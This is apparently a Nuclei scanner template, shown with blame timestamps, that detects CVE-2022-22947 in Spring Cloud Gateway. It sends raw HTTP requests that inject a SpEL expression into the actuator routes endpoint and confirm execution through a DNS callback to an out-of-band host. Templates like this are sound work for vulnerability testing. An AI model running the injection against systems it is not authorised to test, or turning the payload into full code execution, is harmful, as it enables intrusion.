nuclei-templates/http/cves/2022/CVE-2022-22947.yaml

93 lines
3.0 KiB
YAML
Raw Normal View History

id: CVE-2022-22947
info:
name: Spring Cloud Gateway Code Injection
author: pdteam
severity: critical
description: Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
2023-09-06 11:59:08 +00:00
remediation: |
Apply the latest security patches provided by the vendor and ensure proper input validation to prevent code injection attacks.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-22947
- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
- https://github.com/wdahlenburg/spring-gateway-demo
- https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
- https://tanzu.vmware.com/security/cve-2022-22947
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2022-22947
cwe-id: CWE-917,CWE-94
epss-score: 0.97481
epss-percentile: 0.99966
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:vmware:spring_cloud_gateway:*:*:*:*:*:*:*:*
metadata:
max-request: 3
2023-07-11 19:49:27 +00:00
vendor: vmware
product: spring_cloud_gateway
tags: cve,cve2022,apache,spring,vmware,actuator,oast,kev
http:
- raw:
- |
2022-03-02 21:14:27 +00:00
POST /actuator/gateway/routes/{{randstr}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"predicates": [
{
"name": "Path",
"args": {
2022-03-02 21:14:27 +00:00
"_genkey_0": "/{{randstr}}/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
2022-03-02 21:14:27 +00:00
"_genkey_0": "#{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")}",
"_genkey_1": "/${path}"
}
}
],
2022-03-02 21:14:27 +00:00
"uri": "{{RootURL}}",
"order": 0
}
- |
POST /actuator/gateway/refresh HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
2022-03-02 21:14:27 +00:00
"predicate": "Paths: [/{{randstr}}], match trailing slash: true",
"route_id": "{{randstr}}",
"filters": [
2022-03-02 21:14:27 +00:00
"[[RewritePath #{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")} = /${path}], order = 1]"
],
2022-03-02 21:14:27 +00:00
"uri": "{{RootURL}}",
"order": 0
}
2022-03-02 21:14:27 +00:00
- |
DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
2022-03-02 21:14:27 +00:00
- type: word
part: header
words:
- "/routes/{{randstr}}"
- type: word
part: interactsh_protocol
words:
- "dns"
2023-07-11 19:49:27 +00:00
- type: status
status:
- 201
# digest: 4b0a00483046022100b16bd059d781d28278354a198c51482390f75c691a0fbdd95eea1c74349a9816022100d82eae3e66511b28de35b662b753b58603cb2dec4cf4e7736ff19b37a6cb7f4f:922c64590222798bb761d5b6d8e72950